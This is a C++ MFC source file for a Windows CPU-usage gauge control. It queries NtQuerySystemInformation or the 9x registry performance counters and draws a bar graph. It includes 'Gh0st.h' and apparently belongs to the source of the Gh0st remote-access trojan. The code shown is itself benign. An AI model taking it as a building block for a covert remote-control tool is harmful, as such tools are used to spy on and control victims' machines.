2024-06-23 17:36:53 +08:00

366 lines
8.7 KiB
C++

// NetCtl.cpp : implementation file
//
#include "stdafx.h"
#include "CpuUsgesCtl.h"
#include "Gh0st.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCpuUsgesCtl
#define SystemBasicInformation 0
#define SystemPerformanceInformation 2
#define SystemTimeInformation 3
#define Li2Double(x) ((double)((x).HighPart) * 4.294967296E9 + (double)((x).LowPart))
typedef struct
{
DWORD dwUnknown1;
ULONG uKeMaximumIncrement;
ULONG uPageSize;
ULONG uMmNumberOfPhysicalPages;
ULONG uMmLowestPhysicalPage;
ULONG uMmHighestPhysicalPage;
ULONG uAllocationGranularity;
PVOID pLowestUserAddress;
PVOID pMmHighestUserAddress;
ULONG uKeActiveProcessors;
BYTE bKeNumberProcessors;
BYTE bUnknown2;
WORD wUnknown3;
} SYSTEM_BASIC_INFORMATION;
typedef struct
{
LARGE_INTEGER liIdleTime;
DWORD dwSpare[76];
} SYSTEM_PERFORMANCE_INFORMATION;
typedef struct
{
LARGE_INTEGER liKeBootTime;
LARGE_INTEGER liKeSystemTime;
LARGE_INTEGER liExpTimeZoneBias;
ULONG uCurrentTimeZoneId;
DWORD dwReserved;
} SYSTEM_TIME_INFORMATION;
CCpuUsgesCtl::CCpuUsgesCtl()
{
m_iRefreshInterval = 10;
m_fNewUsges = 40;
m_ForeFontColor = RGB(255, 0, 0);
m_ForeColor = RGB(0, 150, 0);
m_BackColor = RGB(0, 0, 0);
m_FreeColor = RGB(0, 80, 0);
m_UsedColor = RGB(0, 140, 0);
m_LableColor = RGB(255, 255, 0);
m_iGridHeight = 0;
m_iGridCount = 50;
m_liOldIdleTime.QuadPart = 0;
m_liOldSystemTime.QuadPart = 0;
}
CCpuUsgesCtl::~CCpuUsgesCtl()
{
}
BEGIN_MESSAGE_MAP(CCpuUsgesCtl, CWnd)
//{{AFX_MSG_MAP(CCpuUsgesCtl)
ON_WM_PAINT()
ON_WM_CREATE()
ON_WM_TIMER()
ON_WM_SIZE()
ON_WM_SHOWWINDOW()
ON_WM_ERASEBKGND()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCpuUsgesCtl message handlers
void CCpuUsgesCtl::OnPaint()
{
DrawCpuUsges();
CPaintDC dc(this);
}
int CCpuUsgesCtl::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CWnd::OnCreate(lpCreateStruct) == -1)
return -1;
return 0;
}
void CCpuUsgesCtl::GetCpuUsgesNt()
{
SYSTEM_PERFORMANCE_INFORMATION SysPerfInfo;
SYSTEM_TIME_INFORMATION SysTimeInfo;
SYSTEM_BASIC_INFORMATION SysBaseInfo;
double dbIdleTime;
double dbSystemTime;
LONG status;
typedef LONG (WINAPI *PROCNTQSI)(UINT,PVOID,ULONG,PULONG);
PROCNTQSI NtQuerySystemInformation;
NtQuerySystemInformation = (PROCNTQSI)GetProcAddress(
GetModuleHandle("ntdll"),
"NtQuerySystemInformation"
);
if (!NtQuerySystemInformation)
{
return;
}
// get number of processors in the system
status = NtQuerySystemInformation(SystemBasicInformation,
&SysBaseInfo,sizeof(SysBaseInfo),NULL);
if (status != NO_ERROR)
{
return;
}
status = NtQuerySystemInformation(SystemTimeInformation,
&SysTimeInfo,sizeof(SysTimeInfo),0);
if (status!=NO_ERROR)
{
return;
}
// get new CPU's idle time
status = NtQuerySystemInformation(SystemPerformanceInformation,
&SysPerfInfo,sizeof(SysPerfInfo),NULL);
if (status != NO_ERROR)
{
return;
}
// if it's a first call - skip it
if (m_liOldIdleTime.QuadPart != 0)
{
// CurrentValue = NewValue - OldValue
dbIdleTime = Li2Double(SysPerfInfo.liIdleTime) - Li2Double(m_liOldIdleTime);
dbSystemTime = Li2Double(SysTimeInfo.liKeSystemTime) - Li2Double(m_liOldSystemTime);
// CurrentCpuIdle = IdleTime / SystemTime
dbIdleTime = dbIdleTime / dbSystemTime;
// CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors
dbIdleTime = 100.0 - dbIdleTime * 100.0 / (double)SysBaseInfo.bKeNumberProcessors + 0.5;
m_fNewUsges = (UINT)dbIdleTime;
}
// store new CPU's idle and system time
m_liOldIdleTime = SysPerfInfo.liIdleTime;
m_liOldSystemTime = SysTimeInfo.liKeSystemTime;
}
void CCpuUsgesCtl::SetRefreshInterval(int iMs)
{
m_iRefreshInterval = iMs;
SetTimer(1, m_iRefreshInterval, NULL);
}
void CCpuUsgesCtl::OnTimer(UINT nIDEvent)
{
if(IsNt())
{
GetCpuUsgesNt();
}
else
{
GetCpuUsges9X();
}
Invalidate();
CWnd::OnTimer(nIDEvent);
}
void CCpuUsgesCtl::SetGridCount(int iNewCounts)
{
m_iGridCount = iNewCounts;
}
void CCpuUsgesCtl::SetGridHeight(int iNewHeight)
{
m_iGridHeight = iNewHeight;
}
void CCpuUsgesCtl::OnSize(UINT nType, int cx, int cy)
{
CWnd::OnSize(nType, cx, cy);
}
void CCpuUsgesCtl::OnShowWindow(BOOL bShow, UINT nStatus)
{
CWnd::OnShowWindow(bShow, nStatus);
}
void CCpuUsgesCtl::GetCpuUsges9X()
{
HKEY hkey;
DWORD dwDataSize;
DWORD dwType;
DWORD dwCpuUsage;
// starting the counter
if ( RegOpenKeyEx( HKEY_DYN_DATA,
"PerfStats\\StartStat",
0,KEY_ALL_ACCESS,
&hkey ) != ERROR_SUCCESS
)
{
return;
}
dwDataSize=sizeof(DWORD);
RegQueryValueEx( hkey,
"KERNEL\\CPUUsage",
NULL,&dwType,
(LPBYTE)&dwCpuUsage,
&dwDataSize );
RegCloseKey(hkey);
// geting current counter's value
if ( RegOpenKeyEx( HKEY_DYN_DATA,
"PerfStats\\StatData",
0,KEY_READ,
&hkey ) != ERROR_SUCCESS)
{
return;
}
dwDataSize=sizeof(DWORD);
RegQueryValueEx( hkey,
"KERNEL\\CPUUsage",
NULL,&dwType,
(LPBYTE)&dwCpuUsage,
&dwDataSize );
m_fNewUsges = dwCpuUsage;
RegCloseKey(hkey);
// stoping the counter
if ( RegOpenKeyEx( HKEY_DYN_DATA,
"PerfStats\\StopStat",
0,KEY_ALL_ACCESS,
&hkey ) != ERROR_SUCCESS)
{
return;
}
dwDataSize=sizeof(DWORD);
RegQueryValueEx( hkey,
"KERNEL\\CPUUsage",
NULL,&dwType,
(LPBYTE)&dwCpuUsage,
&dwDataSize );
RegCloseKey(hkey);
}
BOOL CCpuUsgesCtl::IsNt()
{
DWORD winVer;
winVer = GetVersion();
if(winVer<0x80000000)
{
return TRUE;
}
return FALSE;
}
void CCpuUsgesCtl::DrawCpuUsges()
{
CDC memDC;
CString strLable;
CBitmap memBitmap;
CBitmap* pOldBmp = NULL;
CString strUsges;
CPen BackFreePen;
CPen BackUsedPen;
CPen *pOldPen = NULL;
CPen *pOldMemPen = NULL;
CRect rectClient;
CPaintDC dc(this);
GetClientRect(&rectClient);
m_iGridHeight = rectClient.Height() / m_iGridCount;
//draw cpu free usges
BackFreePen.CreatePen(PS_SOLID, m_iGridHeight - 2, m_FreeColor);
memDC.CreateCompatibleDC(&dc);
pOldMemPen = memDC.SelectObject(&BackFreePen);
memBitmap.CreateCompatibleBitmap(&dc, rectClient.right, rectClient.bottom);
pOldBmp = memDC.SelectObject(&memBitmap);
memDC.FillSolidRect(rectClient, m_BackColor);
for(int i = 0; i < 50 - (int)(m_fNewUsges / 2); i ++)
{
memDC.MoveTo(rectClient.left + 12, rectClient.top + i * m_iGridHeight + 12);
memDC.LineTo(rectClient.right - 12, rectClient.top + i * m_iGridHeight + 12);
}
//draw cpu used usges
BackUsedPen.CreatePen(PS_SOLID, m_iGridHeight - 2, m_UsedColor);
memDC.SelectObject(&BackUsedPen);
for(int j = 0; j < (int)(m_fNewUsges / 2); j ++) //fill used percent
{
memDC.MoveTo(rectClient.left + 12, rectClient.bottom - j * m_iGridHeight - 12);
memDC.LineTo(rectClient.right - 12, rectClient.bottom - j * m_iGridHeight - 12);
}
strLable = _T("cpu");
memDC.SetBkMode(TRANSPARENT);
memDC.SetTextAlign(TA_LEFT | TA_CENTER);
memDC.SetTextColor(m_LableColor);
memDC.TextOut(rectClient.left + 25, rectClient.top + 30, strLable);
strUsges.Format("%d", (int)m_fNewUsges);
strUsges += "%";
memDC.SetTextColor(m_ForeFontColor);
memDC.TextOut(rectClient.left + rectClient.Width() / 2 - 10, rectClient.bottom - 60, strUsges);
dc.BitBlt(rectClient.left, rectClient.top, rectClient.right, rectClient.bottom, &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(pOldBmp);
memDC.SelectObject(pOldMemPen);
memDC.DeleteDC();
memBitmap.DeleteObject();
}
BOOL CCpuUsgesCtl::OnEraseBkgnd(CDC* pDC)
{
return TRUE;//CWnd::OnEraseBkgnd(pDC);
}
BOOL CCpuUsgesCtl::Create(DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID)
{
return CWnd::Create(NULL, NULL, dwStyle, rect, pParentWnd, nID, NULL);
}